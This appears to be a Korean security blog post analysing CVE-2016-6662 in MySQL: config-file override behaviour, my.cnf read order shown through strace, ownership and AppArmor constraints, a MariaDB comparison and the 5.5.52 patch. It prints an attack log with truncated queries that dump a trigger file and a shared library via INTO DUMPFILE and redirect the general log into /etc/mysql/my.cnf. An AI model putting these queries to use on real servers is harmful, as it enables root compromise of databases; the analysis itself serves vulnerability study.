테스트를 해보니 [mysqld] 섹션에 로그가 기록되어 있으면 mysqld가 이해하지 못하기에 서비스가 실행되지 않는다. 그 외 다른 섹션에 로그를 삽입해 테스트를 해봤을 땐 mysqld 데몬이 동작했다. 결론적으로 [mysqld] 섹션 영역만 손상 받지 않으면 서비스는 실행할 수 있다.

중복 선언, 덮어쓰기를 해도 동작하는 이유는 뭘까?

/etc/mysql/my.cnf를 로드한 후 다시 /var/lib/mysql/my.cnf를 로드해도 mysql 데이터베이스 실행에 문제가 없다. 이미 앞서 [mysqld] 섹션이 존재함에도 불구하고 그 후에 [mysqld] 섹션을 다시 선언해도 사용 가능하다. 그리고 general_log_file 변수를 활성화시켜 /var/log/mysql/mysql.log 값을 할당했음에도 취약점에 의해 general_log_file 변수를 중복 선언하고 /etc/mysql/my.cnf로 설정해 이 부분에 로그 기록을 남길 수 있었다.

이러한 것이 가능한 이유는 mysqld가 환경 변수를 파싱하는 방법에 있는데, 기존에 선언된 환경 변수를 파싱했음에도 이후에 동일한 환경 변수를 만나게 되면 덮어쓰는 형태로 구현되어 있기 때문이다.

덮어쓰기(override)가 가능하도록 제작한 이유가 뭘까 고민해보면 하나로 귀결된다. 바로 커맨드 라인에서 입력하는 파라미터 때문이다. 설정 파일에 설정이 되어 있어도 커맨드 라인에서 입력한 값을 우선으로 해야 하기에 덮어쓰기가 가능하도록 구현한 것으로 보인다.

그렇다면 또 다른 의문점으로 my.cnf를 읽어오는 순서가 있지 않을까? 가장 나중에 읽은 my.cnf에 따라 설정되지 않을까? 를 생각할 수 있다. 어떤 wrapper 스크립트를 사용하느냐에 따라 my.cnf의 위치가 다양하게 구성될 수 있기에 /etc/init.d/mysql/usr/bin/mysqld_safe에서 my.cnf를 읽는 위치를 strace를 이용하여 찾아보았다.

/etc/init.d/mysql은 다음과 같이 CONF 변수에 저장된 /etc/mysql/my.cnf를 읽고 접근하는 것을 볼 수 있다.

[...snip...]
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
read(255, "CONF=/etc/mysql/my.cnf\nMYADMIN=\""..., 5491) = 4832
chdir("/")                              = 0
umask(077)                              = 022
brk(0x24a6000)                          = 0x24a6000
brk(0x24a7000)                          = 0x24a7000
brk(0x24a8000)                          = 0x24a8000
brk(0x24a9000)                          = 0x24a9000
brk(0x24aa000)                          = 0x24aa000
faccessat(AT_FDCWD, "/etc/mysql/my.cnf", R_OK) = 0
brk(0x24ab000)                          = 0x24ab000
[...snip...]

/usr/bin/mysqld_safe는 다음과 같이 /usr/my.cnf/var/lib/mysql/my.cnf를 찾고 읽으려 하지만, 파일이 없기 때문에 실패한 내용을 보여주고 있다.

[...snip...]
stat("/usr/var/mysql", 0x7ffe8069e4d0)  = -1 ENOENT (No such file or directory)
faccessat(AT_FDCWD, "/usr/my.cnf", R_OK) = -1 ENOENT (No such file or directory)
faccessat(AT_FDCWD, "/var/lib/mysql/my.cnf", R_OK) = -1 ENOENT (No such file or directory)
geteuid() 
[...snip...]

결론적으로 기본 설정으로 운영할 경우 my.cnf를 읽는 순서는

  1. /etc/mysql/my.cnf
  2. /usr/my.cnf
  3. /var/lib/mysql/my.cnf

이며, 가장 나중에 읽는 /var/lib/mysql/my.cnf가 앞서 읽은 모든 my.cnf를 덮어쓸 수 있다.

/etc/mysql/my.cnf 소유자가 root인데 어떻게 mysql이 읽을 수 있을까?

중복 선언, 덮어쓰기를 해도 동작하는 이유는 뭘까? 에서 볼 수 있듯이 /etc/mysql/my.cnf를 사용하는 곳은 /etc/init.d/mysql이다. 이 파일은 일방적으로 서비스를 실행할 때 사용하는 파일로 기본 소유자가 root이다. /etc/init.d/mysql이 root로 실행하면서 root 소유자로 설정되어 있는 /etc/mysql/my.cnf를 읽고 사용한 후 mysql 권한으로 /var/bin/mysqld_safe를 실행하기 때문이다.

이러한 이유로 /etc/mysql/my.cnf가 root로 유지되고 있을 경우 mysql 소유자으로 실행된 mysqld는 /etc/mysql/my.cnf를 수정하거나 변경할 수 없다. 다시 말해서 SQLi로 들어오는 쿼리는 mysqld 소유자를 따라가고, SQLi로 작성된 파일 또한 mysqld 소유자를 따라간다. 로그 기록 또한 [mysqld] 섹션에 포함되는 항목이기에 mysqld의 권한으로 움직인다. (/var/log/mysql의 로그들은 모두 소유자가 mysql이다.)

그래서 CVE-2016-6662를 테스트할 때 /etc/mysql/my.cnf의 소유자를 mysql로 수정한 것이다.

공격이 성공했을 때 mysql.log에는 어떤 기록이 남을까?

my.cnf 파일의 general_log_filegeneral_log 기능을 활성화시켜서 다양한 로그 정보를 수집하도록 구성한 후 로그를 살펴보면 다음과 같다.

mysql.log 내용

160921 18:41:52    37 Connect   attacker@192.168.0.140 on pocdb
                   37 Query     SET NAMES 'utf8' COLLATE 'utf8_general_ci'
                   37 Query     SET @@session.autocommit = OFF
                   37 Query     SHOW GRANTS
                   37 Query     SELECT unhex("5459504......") INTO DUMPFILE '/var/lib/mysql/pocdb/poctable.TRG'
                   37 Query     SELECT unhex("7f454c46.....") INTO DUMPFILE '/var/lib/mysql/mysql_hookandroot_lib.so'
		   37 Query     CREATE TABLE `poctable` (line varchar(600)) ENGINE='MyISAM'
		   37 Query     INSERT INTO `poctable` VALUES('execute the trigger!')
		   37 Query     SET global general_log_file='/etc/mysql/my.cnf'

unhex를 이용하여 두 개의 파일을 헥사 값으로 바로 받은 후 INTO DUMPFILE로 특정 위치에 헥사 값 그대로 파일을 생성한다. SET global general_log_file='/etc/mysql/my.cnf'가 실행되기 때문에 이 쿼리가 실행된 후에 입력되는 쿼리에 따른 로그는 /etc/mysql/my.cnf에 기록된다.


정리

우분투 14.04 시스템에서 sudo apt-get install mysql-server로 설치한 MySQL 데이터베이스에서 CVE-2016-6662 취약점을 사용하려면 다음과 같은 문제를 모두 해결해야한다.

  1. /etc/mysql/my.cnf의 소유자를 MySQL로 변경
  2. 소유자를 MySQL로 변경했다 하여도 Apparmor에 의해 보호받는다.
  3. 공격자는 Apparmor에 의해 보호받지 않으면서도 my.cnf를 가장 나중에 읽는 /var/lib/mysql/ 디렉터리를 공략할 수 있다. => CVE-2016-6663
    • 기본 mysqld_safe의 --datadir 파라미터의 경로는 /var/lib/mysql/이기 때문이다.
  4. 하지만 CVE-2016-6662에서는 3번이 불가능하다.
    • /var/lib/mysql/ 디렉터리에는 기본으로 my.cnf가 없다.
    • my.cnf 파싱에서는 섹션 형태로 시작하지 않으면 파싱하지 않는다.
    • 공격 성공한 후 my.cnf가 생성되면 my.cnf의 서두에는 섹션 형태로 작성되어 있지 않다. (로그이기 때문에)
  5. 따라서 CVE-2016-6662는 /var/lib/mysql/ 경로의 my.cnf를 생성과 수정할 순 있지만 취약점으로 연결되지 않는다.

그렇다면 MySQL 데이터베이스 기반으로 만들어진 MariaDB와 PerconaDB도 이와 같은 문제를 가질까. PerconaDB는 테스트하지 않았지만 MariaDB는 my.cnf의 소유자가 MySQL이라면 아무런 제약 없이 /etc/mysql/my.cnf에 악의적인 설정을 주입할 수 있다. 그 이유는 다음과 같다.

  1. sudo apt-get install mariadb-server 로 설치하면 기본으로 Apparmor에 의해 보호받지 않는다.
  2. /etc/init/mysql.conf가 없어 서비스는 항상 mysqld_safe와 함께 실행된다.


MySQL 패치 내용

2016년 9월 6일 MySQL 5.5.52로 릴리즈 되면서 CVE-2016-6662 취약점이 수정되었다. 일반적인 메모리 손상시키는 취약점이 아닌 구성의 결함을 이용한 취약점이기에 간단하게 다음과 같이 패치되었다.

  • mysqld_safe가 사용하는 --malloc-lib 인수는 /usr/lib, /usr/lib64, /lsr/lib/i386-linux-gnu 또는 /usr/lib/x86_64-linux-gnu 중 하나만 사용한다. 또한, --mysqld--mysqld-version 옵션은 옵션 파일이 아니라 커맨드 라인으로만 사용될 수 있다. (Bug #24464380)

--malloc-lib 인수를 사용하는 mysqld_safe는 root 권한으로 실행되니 root 권한을 가진 디렉터리만을 읽도록 수정하면 공격자가 악의적으로 설정하기에 많은 제약이 따를 수밖에 없다. --malloc-lib로 공유하는 라이브러리를 로드하는 수정된 위치는 모두 root 권한이 필요하다.

  • 옵션 파일로 해석될 수 있는 .ini 또는 .cnf로 끝나는 파일에 로그를 작성할 수 있었다. 이제 일반적인 쿼리 로그와 슬로 쿼리 로그는 더 이상 .ini.cnf로 끝나는 파일에 작성할 수 없다. (Bug #24388753)

CVE-2016-6662 취약점은 설정 파일에 로그 기록을 할 수 있다는 것이다. 따라서 설정 파일에 로그를 기록할 수 없도록 수정된 것을 확인할 수 있다. 물론 이 패치로 인해 CVE-2016-6663도 함께 패치된 것처럼 보인다.


참고 사이트


본 문서는 (주)한국정보보호교육센터 f-NGS 연구소에서 의역하고 작성한 내용입니다.
Written and Translated by hakawati in KISEC 40th


'Advanced > Vulnerability' 카테고리의 다른 글

CVE-2016-6662 (1)  (0) 2016.09.18

+ Recent posts